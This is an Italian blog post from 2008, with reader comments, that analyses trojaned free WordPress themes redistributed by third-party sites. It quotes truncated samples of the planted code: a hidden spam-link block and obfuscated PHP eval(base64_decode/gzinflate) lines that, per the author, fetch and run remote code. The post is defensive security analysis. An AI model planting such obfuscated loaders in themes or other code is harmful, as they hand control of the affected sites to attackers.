Nonostante tutte le precauzioni che si possono pensare per proteggere il proprio blog, è facile commettere un errore, installando qualcosa di dubbia provenienza e aprendo una porta a sconosciuti, dritto dentro il nostro sito.
Basta andare in cerca di un tema, ad esempio utilizzando un motore di ricerca, con le parole chiave “free wordpress themes”, e si ottengono parecchi risultati. Ma, per quanto strano possa sembrare, sono proprio i siti da cui occorre diffidare. Ho fatto una breve indagine, prendendo un tema a caso da ognuno dei siti restituiti dalla ricerca, ed ho appurato quanto segue:
- Tutti i temi sono copiati da quelli originali presenti nel sito themes.wordpress.net o dal sito del creatore del tema, di solito indicato con un link nel file footer.php all’interno del tema stesso. Nessuno dei temi è originale.
- Tutti i temi scaricati e controllati contengono codice per fare cose certamente poco etiche. Ci sono molti temi contenenti codice offuscato che dopo essere stato “disoffuscato” rivela istruzioni per scaricare ed eseguire codice preso da siti non appartenenti a nessun circuito “ufficiale” di Wordpress. In molti casi si tratta di siti cinesi. Altri temi contengono funzioni in PHP per inserire link spam nella home page del blog in cui vengono caricati. Notare che è una situazione molto diversa da quella dei siti Wordpress violati. Più avanti mostrerò alcuni esempi del codice malevolo.
- I siti da cui si scaricano i temi sono ben fatti e graficamente molto curati, a differenza di molti altri siti contraffatti. Questo trae in inganno e svia i sospetti.
Esempi di codice malevolo
In un tema, denominato Dragee (il link porta al sito originale), vi era una funzione in PHP, sepolta nel file functions.php, che apparentemente chiama un link per una sorta di contatore per le statistiche di utilizzo, ma esaminando meglio il codice, inserisce il contenuto letto dal sito remoto nella homepage del blog in cui il tema è installato. Ecco un esempio del contenuto inserito:
<div id="refl" style="display: none">
<a href="http://www.pokerando.com" hreflang="it"><b>il casino</b></a>
</div>
In altri temi il contenuto del file footer.php è stato totalmente sostituito da uno script PHP costituito da una sola istruzione:
eval(gzinflate(base64_decode('NdNHkptYA ....... r6+fH99/M/zzGw==')));
E’ un codice offuscato, che in realtà scarica da un altro sito un blocco di dati e lo esegue come codice PHP.
Un altro tema contiene:
<body><?php @eval(@base64_decode('aWYoJFIzN0MwMT ....... Y3MzVBQkMzMDkxNik7')); ?>
Nel tema originale vi è solo il tag body. Anche questo codice, una volta reso in chiaro, scarica qualcosa da un sito remoto e la esegue come codice PHP.
Un altro tema contiene un segmento simile di codice PHP, il cui risultato consiste in una coppia di link a un casinò online ed a una finanziaria, niente di particolare. Il fatto curioso è che il codice è offuscato con oltre 20 annidamenti di codice convertito con differenti metodi, ossia un eval(base64_decode(... che restituisce a sua volta un eval(gzinflate(str_rot13(base64_decode(... che ancora restituisce un eval(base64_decode(..., e via così.
Effetti sul blog
Tutti i temi che ho analizzato possiedono codice in qualche modo malevolo. In tutti i casi è nascosto, mascherato, offuscato o ricodificato, per renderne meno facile l’individuazione.
L’effetto è variabile. In qualche caso si limita ad inserire pochi link, presi da un altro sito, verosimilmente gestito da chi ha manomesso il tema. In molti altri casi viene effettuato un controllo sulla configurazione dell’interprete PHP nel blog in cui il tema è installato, e se questa lo permette scaricano qualcosa da altri server e la eseguono come codice PHP tramite un eval().
Nessuno dei temi analizzati, presi dal sito dell’autore, ossia dal sito originale, mostra codice contraffatto o malevolo.
Conclusioni e avvertenze
Installando uno di questi temi con trojan incluso, invitiamo a casa il nemico. Un blog su cui uno di questi è installato potrebbe essere controllato a piacimento da chi ha inserito il codice malevolo nei file del tema.
Prima di installare un tema scaricato chissà dove, sarebbe il caso di farlo controllare da una persona competente. Non esistono al momento strumenti di controllo automatizzati per verificare la presenza di un trojan in un tema di Wordpress, come non esiste al momento uno strumento per controllare se il tema installato nel blog è colpito da questo problema: chi ha creato il trojan potrebbe aver già preso possesso del vostro blog ed aver nascosto le tracce della sua presenza.
Non esitate a cercare aiuto se non siete ferrati in materia: per la legge il blog è vostro e quello che ci appare dentro è sotto la vostra responsabilità, fino a prova contraria. Prova che non è affatto banale da trovare.

#1 da Gianni Amato il 14 June 2008 - 00:47
il tema l’hanno ricopiato, l’idea almeno è originale
#2 da jez il 14 June 2008 - 12:36
hello,
I am the original author of the dragee theme.
I am sorry to not be able to understand italian, but do you say there is a crap in the functions and footer file?
if so, where did you download it?
if you compare the files to the ones offered of my page you will probably see a difference.
please keep me posted, I certainly do not want anyone abusing my work!
thanks,
jez
#3 da jez il 14 June 2008 - 12:43
just checked the code myself on both wordpress and my own hosted files. the file date is someday in June 2007 and the contents are correct and no malicous code whatsoever, e.g. footer.php reads:
#4 da Mario Pascucci il 14 June 2008 - 14:21
@Jez
Sorry for the misunderstand.
You aren’t responsible for the “trojaned” themes: someone has modified a copy of your theme and distributes it as “original”. As stated in the article, no one of the themes, taken from authors’ websites, shows any sign of malicious code.
Warn people about presence on the net of those “modified” themes.
#5 da Evanderiel il 25 June 2008 - 00:51
Io nel footer del tema che ho scaricato (apparentemente è originale) c’è questo:
Provando ad eliminarlo la grafica viene del tutto sballata, ma dopo tutto quello che ho letto faccio fatica a fidarmi di un testo codificato…. sapresti dirmi se è una semplice precauzione per il copyright come dice prima, o se c’è davvero qualcosa di malevolo?
(per evitare che per un qualche misterioso motivo la pagina processi il codice ho aggiunto qua e là questi caratteri: [---])
#6 da Evanderiel il 25 June 2008 - 01:07
Ehm… spero di non aver fatto un casino…. per quel poco che ne so di linguaggio PHP, anche solo cambiare una virgola rovina tutto, quindi spero che la pagina non sia riuscito a processare quello che avevo inserito… in ogni caso te l’ho mandato per e-mail in formato solo testo…
Perdonami tanto se non sono stato molto astuto…. del resto sono le 2 di notte….
Pingback: WGA, aka Wordpress Genuine Advantage | MVPNetwork Blog
#7 da Luigi il 13 November 2008 - 04:26
Ciao Mario leggendo il tuo utilissimo articolo ho avuto la conferma di avere un tema wordpress infetto, infatti in function.php c’e’ proprio quel codice malevolo citato da te ed inoltre nel xhtml della home page del mio blog ho rilevato la presenza di un bel “display:none”.
Non essendo capace d’affrontare una situazione del genere ti scrivo confidando nella tua esperienza nell’ambito della sicurezza.
Speero mi possa rispondere al piu presto.
Grazie Mille anticipatamente
#8 da Domande il 7 April 2009 - 19:08
Ottimoo, Davvero molto interessante!
#9 da susanna il 18 December 2009 - 17:30
IPOTESI: c’è un ignorante informatica ( come me ) che viene avvertita che il suo blog di informazione è stato manipolato (come sta succedendo al mio). Dove deve sbattere la testa questa persona non sapendo neppure di chi avrebbe bisogno per risolvere il problema?
grazie se vorrete aiutarmi
susanna